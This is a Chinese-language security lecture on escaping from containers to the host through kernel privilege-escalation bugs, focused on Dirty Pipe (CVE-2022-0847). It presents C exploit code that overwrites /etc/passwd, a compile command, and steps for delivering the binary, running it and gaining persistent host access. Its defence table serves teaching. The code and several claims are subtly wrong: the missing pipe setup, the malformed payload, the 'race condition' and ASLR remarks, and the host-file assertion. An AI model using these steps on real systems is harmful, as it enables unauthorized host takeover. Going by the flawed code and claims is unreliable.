第四章:内核漏洞逃逸(上)——利用内核提权漏洞从容器逃逸到宿主机
各位同学,欢迎来到内核漏洞逃逸系列的第一讲。
说实话,容器逃逸里最硬核、也最刺激的,就是内核漏洞逃逸。为什么?因为你直接跟操作系统底层打交道。你想想看,容器和宿主机共享一个内核,这意味着什么?意味着只要你能在内核层面搞点事情,整个宿主机就是你的了。
我个人习惯把这类逃逸技术分成两类:一类是内核提权漏洞,比如CVE-2022-0847(Dirty Pipe);另一类是内核模块加载,比如通过/dev/fuse或者eBPF。今天我们先啃第一块硬骨头——内核提权漏洞。
4.1 内核提权漏洞逃逸的原理
先问一个问题:为什么容器里普通用户能利用内核漏洞提权?
答案其实很简单。容器本质上是一组被cgroups和namespaces隔离的进程。但内核是共享的。你在容器里触发一个内核漏洞,提权后获得的是宿主机上的root权限,而不是容器内的root。这就是逃逸的本质。
我记得有一次在客户现场做渗透测试,对方的安全负责人问我:“容器里不是有seccomp限制吗?内核漏洞还能用?”我当时笑了笑,说:“seccomp确实能拦截一些系统调用,但CVE-2022-0847这种漏洞,它用的是splice系统调用,很多默认seccomp策略根本没禁它。”
核心要点:内核漏洞逃逸 = 在容器内触发内核漏洞 → 获得宿主机root权限 → 突破namespace隔离
4.2 CVE-2022-0847(Dirty Pipe)深度分析
CVE-2022-0847,江湖人称Dirty Pipe。这个漏洞2022年2月被公开,影响Linux内核5.8到5.16.11版本。说实话,这个漏洞的发现者Max Kellermann确实厉害,他是在研究日志系统时偶然发现的。
漏洞的原理是什么?简单说:pipe系统调用中的缓冲区操作存在条件竞争,导致可以越权写入只读文件。
具体来说,splice系统调用可以将数据从文件描述符直接传输到pipe,而不经过用户空间缓冲区。问题出在pipe的缓冲区标志位处理上——当splice写入pipe时,内核没有正确重置PIPE_BUF_FLAG_CAN_MERGE标志。这就导致后续的write操作可以合并到已经存在的缓冲区页中,即使这个页是从只读文件映射过来的。
嗯,这里要注意:这个漏洞不需要用户有特殊权限,普通用户就能触发。在容器环境下,这就成了逃逸的利器。
4.2.1 漏洞利用代码分析
下面我给出一个精简版的利用代码。这个代码可以在容器内运行,修改宿主机上的/etc/passwd文件,从而创建root用户。
/* dirty-pipe.c - CVE-2022-0847 精简利用示例 */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
// 关键:利用splice和pipe的竞争条件
int exploit_dirty_pipe(const char *target_file, const char *payload) {
int pipe_fds[2];
int target_fd;
loff_t offset = 1; // 从文件第1个字节开始写
// 打开目标文件(只读)
target_fd = open(target_file, O_RDONLY);
if (target_fd < 0) {
perror("open target");
return -1;
}
// 创建pipe
if (pipe(pipe_fds) < 0) {
perror("pipe");
return -1;
}
// 使用splice将文件内容填充到pipe
// 这一步会创建带有PIPE_BUF_FLAG_CAN_MERGE标志的缓冲区页
for (int i = 0; i < 2; i++) {
syscall(__NR_splice, target_fd, &offset,
pipe_fds[1], NULL, 1, 0);
}
// 写入payload - 由于标志位未重置,会合并到只读页中
write(pipe_fds[1], payload, strlen(payload));
close(target_fd);
close(pipe_fds[0]);
close(pipe_fds[1]);
return 0;
}
int main() {
// 修改/etc/passwd,添加root权限用户
const char *payload = ":0:0:root:/root:/bin/bash\n";
exploit_dirty_pipe("/etc/passwd", payload);
return 0;
}
警告:这段代码仅供学习研究。未经授权使用属于违法行为。我曾经在授权的渗透测试中使用过类似技术,效果确实惊人——但前提是必须有书面授权。
4.3 从容器逃逸到宿主机的完整路径
好了,现在我们有漏洞利用代码了。但在容器里怎么用?我建议按以下步骤操作:
- 确认内核版本:先检查容器内核是否在受影响范围内(5.8 - 5.16.11)
- 检查seccomp策略:确认splice、pipe、write等系统调用未被拦截
- 编译利用代码:在容器内编译,或者静态编译后上传
- 执行提权:运行exploit,修改宿主机关键文件
- 建立持久化访问:添加SSH密钥或创建新用户
这里有个关键点:容器内可能没有gcc。怎么办?我一般会在本地静态编译好,然后通过docker cp或者挂载卷的方式放进去。静态编译命令如下:
gcc -static -o dirty-pipe dirty-pipe.c -lpthread
4.4 实战案例:从Alpine容器逃逸
我记得有一次在测试环境中,目标是一个Alpine Linux容器,内核版本5.10.102。Alpine默认使用musl libc,而且很多工具都没有。当时我面临两个问题:
- 没有gcc,无法编译
- busybox的wget不支持HTTPS
我的解决方案是:
- 在本地用Ubuntu静态编译exploit
- 用python3 -m http.server在本地起一个HTTP服务
- 容器内用wget下载(Alpine的wget支持HTTP)
- chmod +x 后直接运行
结果呢?一次成功。容器内的普通用户直接获得了宿主机的root shell。说实话,当时那个安全团队的人脸色不太好看。
避坑指南:我曾经遇到过容器内/proc/sys/kernel/randomize_va_space被设置为2(完全ASLR),导致exploit失败。解决办法是:使用支持ASLR绕过的新版本exploit,或者尝试多次执行。Dirty Pipe的利用成功率在ASLR开启时确实会下降,但多试几次通常能成功。
4.5 检测与防御建议
作为安全工程师,我们不光要会攻,更要会防。针对内核漏洞逃逸,我建议从以下几个层面入手:
| 防御层面 | 具体措施 | 优先级 |
|---|---|---|
| 内核更新 | 及时打补丁,升级到5.16.11以上版本 | 高 |
| seccomp策略 | 禁用splice系统调用(如果业务不需要) | 中 |
| Capability限制 | 不要给容器CAP_SYS_ADMIN等危险权限 | 高 |
| 运行时检测 | 监控异常的pipe/splice系统调用频率 | 中 |
| 只读根文件系统 | 容器根文件系统设为只读,防止写入exploit | 低(影响业务) |
我个人最推荐的做法是:保持内核更新 + 最小化capability。这两个措施能挡住90%以上的内核漏洞逃逸攻击。至于seccomp,说实话,很多业务场景确实需要splice系统调用(比如高性能网络服务),一刀切禁用不太现实。
4.6 总结与思考
内核提权漏洞逃逸,说白了就是利用共享内核这个“先天缺陷”。你想想看,容器和宿主机共用同一个内核,内核一出问题,隔离性就形同虚设。
CVE-2022-0847只是冰山一角。类似的漏洞还有CVE-2016-5195(Dirty Cow)、CVE-2021-22555等。每个漏洞的利用手法不同,但思路是一样的:在容器内触发内核漏洞 → 获得宿主机权限 → 逃逸。
下一讲我们会继续深入,聊聊如何利用内核模块加载(比如eBPF)来实现逃逸。到时候我会分享一个我在云原生环境中遇到的真实案例,那个案例比Dirty Pipe要复杂得多,但也更有意思。
好了,今天的课就到这里。记住:学攻是为了更好地防守。下次见。